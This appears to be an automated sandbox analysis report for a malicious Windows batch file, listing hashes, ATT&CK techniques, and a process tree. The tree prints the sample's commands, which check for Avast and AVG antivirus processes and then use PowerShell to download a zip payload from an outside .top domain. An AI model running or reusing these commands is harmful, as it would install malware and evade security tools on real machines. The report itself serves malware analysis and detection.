5ecc7f700bde0ab833e9a955d8ad371fab96e5a8c52d148488201e7815973725

Analysis

max time kernel
240s
max time network
244s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 02:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

22112024_0201_new.bat
Size

3KB
MD5

58ce685ec1ce8644306dc4906242dcb7
SHA1

2f9dc4432e1d211e54aab97831fc3b0df5e86df2
SHA256

5ecc7f700bde0ab833e9a955d8ad371fab96e5a8c52d148488201e7815973725
SHA512

249ea3b3477cda22985e504f2a028ef370cc06fc4bd6655a7d18ecb26e0329e981720ccf234932e155b70a99131b95a62f8324ebcabe3652ec3b5c0c23fd0186

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2160 powershell.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

2912 tasklist.exe
2368 tasklist.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2160 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

tasklist.exetasklist.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2368 tasklist.exe
Token: SeDebugPrivilege 2912 tasklist.exe
Token: SeDebugPrivilege 2160 powershell.exe

pid	process
2160	powershell.exe

pid	process
2912	tasklist.exe
2368	tasklist.exe

pid	process
2160	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2368	tasklist.exe
Token: SeDebugPrivilege	2912	tasklist.exe
Token: SeDebugPrivilege	2160	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1688 wrote to memory of 2368	1688	cmd.exe	tasklist.exe
PID 1688 wrote to memory of 2368	1688	cmd.exe	tasklist.exe
PID 1688 wrote to memory of 2368	1688	cmd.exe	tasklist.exe
PID 1688 wrote to memory of 2224	1688	cmd.exe	find.exe
PID 1688 wrote to memory of 2224	1688	cmd.exe	find.exe
PID 1688 wrote to memory of 2224	1688	cmd.exe	find.exe
PID 1688 wrote to memory of 2912	1688	cmd.exe	tasklist.exe
PID 1688 wrote to memory of 2912	1688	cmd.exe	tasklist.exe
PID 1688 wrote to memory of 2912	1688	cmd.exe	tasklist.exe
PID 1688 wrote to memory of 2956	1688	cmd.exe	find.exe
PID 1688 wrote to memory of 2956	1688	cmd.exe	find.exe
PID 1688 wrote to memory of 2956	1688	cmd.exe	find.exe
PID 1688 wrote to memory of 2160	1688	cmd.exe	powershell.exe
PID 1688 wrote to memory of 2160	1688	cmd.exe	powershell.exe
PID 1688 wrote to memory of 2160	1688	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\22112024_0201_new.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq AvastUI.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2368
- C:\Windows\system32\find.exe
  find /i "AvastUI.exe"
  2⤵
  PID:2224
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq avgui.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\system32\find.exe
  find /i "avgui.exe"
  2⤵
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://funfagamlkdreceipgroup.top:8822/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2160-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

Filesize
4KB

Download
memory/2160-5-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2160-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2160-6-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2160-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2160-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2160-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download